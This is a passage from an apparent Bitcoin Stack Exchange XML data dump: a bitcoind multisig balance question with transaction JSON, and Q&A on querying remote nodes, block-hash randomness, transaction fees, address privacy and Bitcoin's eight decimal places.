52210286c7ae03f02252fa801e04db1df2f2f8e27878a1736480e4fc51e2ac4cba08e721039f682869cbbfb89aad9d0af1e10cf7d3f5ade3e6ad9546fde9a969a92abcf53f2103449784f470d86e75779d4faa9d98f4cd4aafa66332f9e4c824e9fc14a7dfb5c553ae&quot;,&#xA;                &quot;hex&quot; : &quot;00483045022100b77d6e54a3084587067ddbc08ddbb3bab5aac407f0d1dafbadf191cc8250954f022029503f2f32ae6d5513632a5e184ae3f8fcf09e49d392c39f70437651bef7a6a301483045022100fe41efff9176cfd6c108afcd5234cc4fa66cd5f0b652b5e9bb68a0b85c27e5d60220587c2045b9efab07abb17a652d500ffcb72c299194f84808a4d3bb820c69e174014c6952210286c7ae03f02252fa801e04db1df2f2f8e27878a1736480e4fc51e2ac4cba08e721039f682869cbbfb89aad9d0af1e10cf7d3f5ade3e6ad9546fde9a969a92abcf53f2103449784f470d86e75779d4faa9d98f4cd4aafa66332f9e4c824e9fc14a7dfb5c553ae&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.03000000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 20125cd88147d3f1d16b453589f687500b0a6063 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a91420125cd88147d3f1d16b453589f687500b0a606388ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;miSXv45UamdKCBrb9DoWrzdQFzquqeVrhj&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.07000000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 4e1978d2bed81a0af3d3e7759ab0bc8540717c54 OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a9144e1978d2bed81a0af3d3e7759ab0bc8540717c5487&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;2MzNBD51VvSPU1w6vp2Z6zyRzVGwEHco5Wj&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the transaction that is the input for the previous one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bcli gettransaction fc86925a8f49a43aebb7eb1f5abdb95153a93decbeedd8875f2a5299855fb169&#xA;{&#xA;    &quot;amount&quot; : 0.00000000,&#xA;    &quot;fee&quot; : 0.00000000,&#xA;    &quot;confirmations&quot; : 20,&#xA;    &quot;blockhash&quot; : &quot;0000cf9fcd9b3dc7e08062284d84c184f76610c908cb96a5b19621d486c7ec0d&quot;,&#xA;    &quot;blockindex&quot; : 1,&#xA;    &quot;blocktime&quot; : 1413096031,&#xA;    &quot;txid&quot; : &quot;fc86925a8f49a43aebb7eb1f5abdb95153a93decbeedd8875f2a5299855fb169&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;    ],&#xA;    &quot;time&quot; : 1413096031,&#xA;    &quot;timereceived&quot; : 1413096031,&#xA;    &quot;details&quot; : [&#xA;        {&#xA;            &quot;involvesWatchonly&quot; : true,&#xA;            &quot;account&quot; : &quot;&quot;,&#xA;            &quot;address&quot; : &quot;2MzNBD51VvSPU1w6vp2Z6zyRzVGwEHco5Wj&quot;,&#xA;            &quot;category&quot; : &quot;send&quot;,&#xA;            &quot;amount&quot; : -0.10000000,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;fee&quot; : 0.00000000&#xA;        }&#xA;    ],&#xA;    &quot;hex&quot; : &quot;0100000001699191ffbe514553f4a9dcd02e3c7e351448d4e7c67f2e3ee3ec9a18a37a9a04010000006a4730440220359b170acf9650994549b6520bba440950c9904774eba4174bd7ada81a2702830220324f628c130bbcc5e54c3ee4702eb0e954dbd66f09944aa24a81992987d81e95012103080765b50062e774366f9be2f4adfeb28c27905e1dc48e41c3a54ca436f46ee2ffffffff0200c5d428010000001976a91452b3aef6dcab929528588f5a3fed742ac0f107e888ac809698000000000017a9144e1978d2bed81a0af3d3e7759ab0bc8540717c548700000000&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the decoded transaction that is the input for the previous one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {&#xA;    &quot;txid&quot; : &quot;fc86925a8f49a43aebb7eb1f5abdb95153a93decbeedd8875f2a5299855fb169&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;049a7aa3189aece33e2e7fc6e7d44814357e3c2ed0dca9f4534551beff919169&quot;,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;30440220359b170acf9650994549b6520bba440950c9904774eba4174bd7ada81a2702830220324f628c130bbcc5e54c3ee4702eb0e954dbd66f09944aa24a81992987d81e9501 03080765b50062e774366f9be2f4adfeb28c27905e1dc48e41c3a54ca436f46ee2&quot;,&#xA;                &quot;hex&quot; : &quot;4730440220359b170acf9650994549b6520bba440950c9904774eba4174bd7ada81a2702830220324f628c130bbcc5e54c3ee4702eb0e954dbd66f09944aa24a81992987d81e95012103080765b50062e774366f9be2f4adfeb28c27905e1dc48e41c3a54ca436f46ee2&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 49.80000000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 52b3aef6dcab929528588f5a3fed742ac0f107e8 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a91452b3aef6dcab929528588f5a3fed742ac0f107e888ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;mo4ExQhSqo4A1euJLK8FXDS2Qr9mbBLQXn&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.10000000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 4e1978d2bed81a0af3d3e7759ab0bc8540717c54 OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a9144e1978d2bed81a0af3d3e7759ab0bc8540717c5487&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;2MzNBD51VvSPU1w6vp2Z6zyRzVGwEHco5Wj&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, these are the unspent blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;        &quot;txid&quot; : &quot;852ddf5c61a9f7bf2f16a9e0430eee738927cd9a8cd99cbab22ba55e0ac013bd&quot;,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;address&quot; : &quot;2MzNBD51VvSPU1w6vp2Z6zyRzVGwEHco5Wj&quot;,&#xA;        &quot;account&quot; : &quot;rpctest_1413096031008&quot;,&#xA;        &quot;scriptPubKey&quot; : &quot;a9144e1978d2bed81a0af3d3e7759ab0bc8540717c5487&quot;,&#xA;        &quot;amount&quot; : 0.07000000,&#xA;        &quot;confirmations&quot; : 10,&#xA;        &quot;spendable&quot; : false&#xA;    }&#xA;{&#xA;        &quot;txid&quot; : &quot;852ddf5c61a9f7bf2f16a9e0430eee738927cd9a8cd99cbab22ba55e0ac013bd&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;address&quot; : &quot;miSXv45UamdKCBrb9DoWrzdQFzquqeVrhj&quot;,&#xA;        &quot;account&quot; : &quot;mirko&quot;,&#xA;        &quot;scriptPubKey&quot; : &quot;76a91420125cd88147d3f1d16b453589f687500b0a606388ac&quot;,&#xA;        &quot;amount&quot; : 0.03000000,&#xA;        &quot;confirmations&quot; : 10,&#xA;        &quot;spendable&quot; : true&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the &quot;unspendable&quot; attribute. Unfortunately I have lost the 0.1 BTC unspendable block, that is, before the final transaction, but I am completely sure that it was &quot;unspendable&quot; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Sorry for the long post...&lt;/p&gt;&#xA;" OwnerUserId="19593" LastActivityDate="2014-10-12T07:36:01.560" Title="bitcoind importaddress balance" Tags="|bitcoind|multi-signature|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31911" PostTypeId="1" AcceptedAnswerId="31914" CreationDate="2014-10-12T11:58:28.637" Score="6" ViewCount="4356" Body="&lt;p&gt;I know how to query the blockchain stored on my machine programmatically using bitcoind commands. Is it possible to do the same on a public node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, is it possible to send “getblockcount” over the internet to bitcoinstats.com, hard-coded in the bitcoin source, or to inductivesoul.us, found in the bitcoin.it wiki? What are the steps to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The quick answer is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No, you cannot use bitcoind commands.&lt;/li&gt;&#xA;&lt;li&gt;You have to communicate with a remote node using TCP.&lt;/li&gt;&#xA;&lt;li&gt;You have to use a different set of commands found in the Protocol Specification.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20668" LastEditorUserId="20668" LastEditDate="2014-10-31T16:19:31.990" LastActivityDate="2023-05-31T17:44:19.833" Title="How do I query a remote bitcoin node like RPC?" Tags="|protocol|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31912" PostTypeId="2" ParentId="30808" CreationDate="2014-10-12T13:39:17.603" Score="5" Body="&lt;p&gt;As mentioned, I don't believe HD Wallets are relevant to this problem. Even with simple wallets combining inputs from multiple addresses proves that a single person owned all the addresses included. I'm not sure if this would meet your specific privacy needs, but it is at least a straightforward way of avoiding that problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume you have 4 addresses, A, B, C, and D. You want to send a transaction that requires funds from all 4 without proving that they were owned by the same person. You could generate a 4th address E and over the course of several days combine all the address values at a new address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the blockchain would show that the funds in E came from A-D, there wouldn't be any proof that A-D were owned by the same person, as they were never in a single transaction together, and it is feasible that 4 different people all transferred value to E, instead of the same person transferring value to E. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems feasible to write a client that follows that policy of never combining inputs from multiple addresses in a single transaction, which would at least allow plausible deniability. The user would be able to manage timeframes depending on their needs, so that the combination could occur over the period of an hour or a year, depending how soon they need the transaction. You could also add some intermediary steps to split things up a bit more and pass through a few extra addresses to make it slightly harder to follow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is a public ledger it really isn't a very anonymous system, and achieving anonymity is difficult without a mixer, but the biggest compromise to anonymity is connecting multiple addresses in a single input, so simply avoiding doing that will be helpful, but at the expense of convenience. &lt;/p&gt;&#xA;" OwnerUserId="20669" LastActivityDate="2014-10-12T13:39:17.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31913" PostTypeId="2" ParentId="30592" CreationDate="2014-10-12T16:19:21.957" Score="4" Body="&lt;p&gt;Install the BitShares wallet. Create an account and go to that account page. Select the &quot;Keys&quot; tab and import the wallet.dat file. &lt;/p&gt;&#xA;" OwnerUserId="20672" LastActivityDate="2014-10-12T16:19:21.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31914" PostTypeId="2" ParentId="31911" CreationDate="2014-10-12T16:37:48.467" Score="6" Body="&lt;p&gt;Excellent question, and welcome to the community!&lt;/p&gt;&#xA;&lt;h3&gt;Short Answer&lt;/h3&gt;&#xA;&lt;p&gt;Maybe.&lt;/p&gt;&#xA;&lt;h3&gt;Long answer&lt;/h3&gt;&#xA;&lt;p&gt;Yes, you can send queries to other nodes on the Bitcoin network. Note that these aren't RPC calls, but &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin's underlying communication protocol&lt;/a&gt;. That means that all of the calls will be a little different, and some of them won't exist.&lt;/p&gt;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;There's no equivalent to &lt;code&gt;getblockcount&lt;/code&gt; in the underlying protocol. Instead, you can connect to a node and listen for its &lt;code&gt;version&lt;/code&gt; message, and look at the start_height field.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of &lt;code&gt;getrawmempool&lt;/code&gt;, you use &lt;code&gt;mempool&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of &lt;code&gt;getpeerinfo&lt;/code&gt;, you use &lt;code&gt;getaddr&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's no equivalent to &lt;code&gt;stop&lt;/code&gt;, because that would be stupid.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also, if you're trying to query other nodes on the network, one of these libraries will be very helpful:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Python: &lt;a href=&quot;http://protocoin.readthedocs.org/en/v0.1/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://protocoin.readthedocs.org/en/v0.1/index.html&lt;/a&gt;&lt;br /&gt;&#xA;(Use protocoin.clients.BitcoinClient)&lt;/li&gt;&#xA;&lt;li&gt;Java: &lt;a href=&quot;https://bitcoinj.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinj.github.io/&lt;/a&gt;&lt;br /&gt;&#xA;(Use Peer.sendMessge)&lt;/li&gt;&#xA;&lt;li&gt;Go: &lt;a href=&quot;https://github.com/btcsuite/btcd/blob/master/wire/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/btcsuite/btcd/blob/master/wire/README.md&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;(If you're not using one of these languages, leave a comment.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-06-28T19:53:40.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31916" PostTypeId="1" AcceptedAnswerId="31918" CreationDate="2014-10-12T19:12:54.750" Score="3" ViewCount="2485" Body="&lt;p&gt;How are the block hashes generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they trully 100% random (generated by hardware) or is it pseudo-random (generated by software)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i rely on it or any other blockchain data to make a 100% trustable raffle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="10088" LastActivityDate="2014-10-14T23:15:36.257" Title="Random numbers using blockchain" Tags="|blockchain|block|hash|random|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31917" PostTypeId="2" ParentId="31916" CreationDate="2014-10-12T19:42:09.353" Score="2" Body="&lt;p&gt;Block hashes can be considered neither random nor pseudo-random. Miners can choose which transactions to include in a block, and don't have to broadcast every block they find. For example, a miner could refuse to broadcast a block unless the block hash ends in a 1 bit. This might not seem important, but it introduces a bias into the resulting block hash and therefore it cannot be considered &quot;random&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a similar way, none of the other data in a block can be safely considered truly random. Miners get to choose what data goes into each block (even the nonce).&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-10-12T19:42:09.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31918" PostTypeId="2" ParentId="31916" CreationDate="2014-10-12T19:57:03.177" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are they truly 100% random (generated by hardware) or is it pseudo-random (generated by software)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Pedantic answer: No, they're not random, because the first twenty digits or so will always be zero. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Serious answer: The Bitcoin client does not use any hardware randomness, as far as I know. However, if even a single transaction in the block was generated using hardware randomness, the block hash will incorporate hardware randomness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't think you could predict the hash of a block that hasn't been found yet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I rely on it or any other blockchain data to make a 100% trustable raffle?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As Greg said, a miner can withhold blocks if releasing them would make the miner lose the raffle. Of course, the cost of withholding a block and not broadcasting it to the network is about $9000, so this attack might not be useful.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I make a trustable raffle&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your method would probably work. &lt;a href=&quot;https://crypto.stackexchange.com/a/1644/6705&quot;&gt;This answer&lt;/a&gt; discusses how to exchange a secret between two parties that can't trust one another. You could use something based on that.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2014-10-12T19:57:03.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31919" PostTypeId="2" ParentId="31909" CreationDate="2014-10-12T21:07:15.810" Score="1" Body="&lt;p&gt;It's quite simple to begin being part of the Bitcoin network. It's public and open to everybody.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no Bitcoin infrastructure around your community, for example where you could buy bitcoins, you start telling people that you accept bitcoins as a payment.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You could sell a product and accept bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;Offer your services for bitcoins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Eventually, someone will be the first one to pay you in bitcoins. Like a domino effect you will start tipping your friends and the bitcoins will move around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you do have a credit card you could buy them on an exchange such as bitstamp, circle or bpesa to mention a few. You could then sell them in your community to help adoption. They pay you in local currency and you hand over bitcoin. What you do with the local currency is your choice. You can keep them, pay a bill or exchange them and purchase more bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it has utility people will start using them. Some sooner and some later. Same with countries.&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-10-12T21:07:15.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31920" PostTypeId="5" CreationDate="2014-10-12T22:17:15.900" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-12T22:17:15.900" LastActivityDate="2014-10-12T22:17:15.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31921" PostTypeId="4" CreationDate="2014-10-12T22:17:15.900" Score="0" Body="Collects questions about methods and resources used to present Bitcoin to a person without prior knowledge of Bitcoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-12T22:17:15.900" LastActivityDate="2014-10-12T22:17:15.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31922" PostTypeId="5" CreationDate="2014-10-12T22:24:34.763" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-12T22:24:34.763" LastActivityDate="2014-10-12T22:24:34.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31923" PostTypeId="4" CreationDate="2014-10-12T22:24:34.763" Score="0" Body="Collects questions about books published about Bitcoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-12T22:24:34.763" LastActivityDate="2014-10-12T22:24:34.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31924" PostTypeId="1" CreationDate="2014-10-13T02:07:08.923" Score="3" ViewCount="264" Body="&lt;p&gt;The first time I heard about Bitcoin, someone told me that it's almost free to transfer bitcoins to other people. However, I found something called &quot;cost per transaction.&quot; Why does the Bitcoin network charge per transaction? Who receives the transaction fee?&lt;/p&gt;&#xA;" OwnerUserId="20677" LastEditorUserId="5406" LastEditDate="2014-10-13T15:53:13.830" LastActivityDate="2014-10-13T15:53:13.830" Title="Why does Bitcoin charge per transaction?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31925" PostTypeId="2" ParentId="31924" CreationDate="2014-10-13T10:56:34.010" Score="5" Body="&lt;p&gt;Because it is in fact &quot;almost free&quot;. The transaction fee charged by the bitcoin protocol is so small that it basically doesn't matter when compared to standard banking fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This measure is in place for several reasons, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Promoting mining. Mining requires expensive hardware and miners&#xA;expect to receive some sort of compensation for contributing to the&#xA;network. This is necessary to keep the bitcoin network decentralized,&#xA;secure, reliable and fast. This is where this fee ends up: in the&#xA;hands of miners that confirm your transactions.&lt;/li&gt;&#xA;&lt;li&gt;Avoiding spam. Anybody could decide to write a bot that sends very, very&#xA;small fractions on a very short delay in order to spam the network,&#xA;as a form of DoS. This fee makes these kinds of attacks very&#xA;expensive, because if you transfer, let's say 30 euros, the fee could&#xA;be 0.01 cents. But if you transfer 1 cent, the fee is still 0.01&#xA;cents, making the fee not a percentage but a fixed quantity which&#xA;gets more expensive as the amount to transfer decreases.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Watch this to learn more: &lt;a href=&quot;https://www.youtube.com/watch?v=X_hz7TyQ_bs&quot;&gt;https://www.youtube.com/watch?v=X_hz7TyQ_bs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2014-10-13T10:56:34.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31926" PostTypeId="1" CreationDate="2014-10-13T12:15:41.927" Score="0" ViewCount="711" Body="&lt;p&gt;I am setting up my site on a hosting (not a server, just a hosting) where i will accept payments of bitcoins and maybe other cryptos later, after a week or so, i want to &quot;sweep&quot; my wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a list with privatekeys and minikeys. That's all.&#xA;I want to know if possibly, without quering API (html dom of blockchain.info/q/ would be better) which wallet has balance &lt;strong&gt;&gt;0&lt;/strong&gt; and saves that key into another file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any way to check balances without importing? I mean, converting private keys to wallet adress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe there is any way to create a wallet with PHP where i can create a wallet, get it's wallet adress and private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use API, since some apis has limited querries per hour, and if i want to check them all hourly / daily it may hit the limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help!&lt;/p&gt;&#xA;" OwnerUserId="20682" LastActivityDate="2015-04-13T02:24:54.837" Title="PHP Checking privatekeys" Tags="|wallet|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31930" PostTypeId="1" CreationDate="2014-10-13T17:38:01.947" Score="1" ViewCount="186" Body="&lt;p&gt;So is it 100% true that one cannot but bitcoins with just a credit card BUT your purchase MUST be connected to a bank account?  If it's supposed go be anonymous then why is the bank account needed? I just want to try owning $10 worth of bitcoins by buying with a credit card...is that possible?&lt;/p&gt;&#xA;" OwnerUserId="19228" LastEditorUserId="19228" LastEditDate="2014-10-14T23:20:46.570" LastActivityDate="2015-12-14T12:43:14.663" Title="Can you buy bitcoins as a Canadian without a bank account?" Tags="|bitcoin-credit-card|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31931" PostTypeId="1" CreationDate="2014-10-13T18:47:29.707" Score="1" ViewCount="519" Body="&lt;p&gt;I have found many APIs and databases that exist for historical Bitcoin prices but they will only give you data for daily intervals or tick data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an API / database that exists that will allow a query for data by interval?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;Query the last 500 closes for 5 minute intervals or query OHLC data? &lt;/p&gt;&#xA;" OwnerUserId="20687" LastActivityDate="2014-10-13T18:47:29.707" Title="Bitcoin Historical Price API/Database" Tags="|api|database|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31932" PostTypeId="1" CreationDate="2014-10-13T18:49:30.720" Score="4" ViewCount="272" Body="&lt;p&gt;Is there a way to eject an address out of the sequence of an HD wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say an address was used for a political donation to a regime in Namibia that may get international condemnation a few decades in the future (can never tell with political parties, maybe they don't invade Russia in the winter and end up writing the history books) or perhaps anyone that donated to a campaign against zombie equality rights is now condemned publicly in the unforeseen future even after the majority population donated and voted the same way you did&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I don't want that to appear in my wallet, whether I restore a seed on a different device or future wallet. But I only thought of this after the address was used. This is considering the possibility that in some future, I may accidentally mix inputs to other addresses, providing for blockchain analysis of addresses I own, or perhaps I simply leave my computer unlocked at some point in the future and someone is able to see my addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to eject that address from the HD sequence or perhaps is this simply a GUI thing that software clients would have to do on there own?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2306" LastEditDate="2015-04-22T18:18:32.200" LastActivityDate="2015-05-22T22:41:42.357" Title="Remove address from sequence in HD wallet" Tags="|blockchain|address|privacy|bip32-hd-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31933" PostTypeId="1" CreationDate="2014-10-13T19:01:42.573" Score="19" ViewCount="27629" Body="&lt;p&gt;At the protocol level bitcoins don't actually exists, but rather base units (recently called “satoshis”). Bitcoins are defined as 10&lt;sup&gt;8&lt;/sup&gt; base units, meaning that for a 50 BTC mining reward, you are actually earning 5 000 000 000 units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why was 10&lt;sup&gt;8&lt;/sup&gt; chosen as the value of one bitcoin relative to the base unit?&lt;/p&gt;&#xA;" OwnerUserId="3919" LastEditorUserId="5406" LastEditDate="2014-10-13T19:14:45.353" LastActivityDate="2019-06-23T01:36:09.007" Title="Why is Bitcoin defined as having 8 decimal places?" Tags="|protocol|money-supply|divisibility|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31934" PostTypeId="2" ParentId="31933" CreationDate="2014-10-13T19:01:42.573" Score="18" Body="&lt;p&gt;When developing Bitcoin, Satoshi had already come with the idea that no more than 21 million of them will ever be made. However, there was an unsolved issue: how to accomodate all bitcoins in case it was actually used as a worldwide currency? Comparing to the current (2008?) world's M1 supply, it was determined that 8 decimal places was enough to cover the supply and still have the smallest division smaller than enough for daily usage.&lt;sup&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=819656.msg9170781#msg9170781&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also worth noting that this decision means the total Bitcoin supply is approximately 2&lt;sup&gt;50.89&lt;/sup&gt;, which means it's smaller than the maximum value for a 64-bit integer (2&lt;sup&gt;63&lt;/sup&gt;-1), and smaller than the first integer that can't be exactly represented in a double-precision floating-point number (2&lt;sup&gt;53&lt;/sup&gt; + 1), so that standard programming languages can deal with Bitcoin amounts without requiring custom implementations or dealing with overflowing.&lt;sup&gt;&lt;a href=&quot;http://bitcoinmagazine.com/7781/satoshis-genius-unexpected-ways-in-which-bitcoin-dodged-some-cryptographic-bullet/&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=819656.msg9170781#msg9170781&quot;&gt;Ray Dillinger's response to: Why 1BTC should equal 10^8 satoshi ?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinmagazine.com/7781/satoshis-genius-unexpected-ways-in-which-bitcoin-dodged-some-cryptographic-bullet/&quot;&gt;Satoshi’s Genius: Unexpected 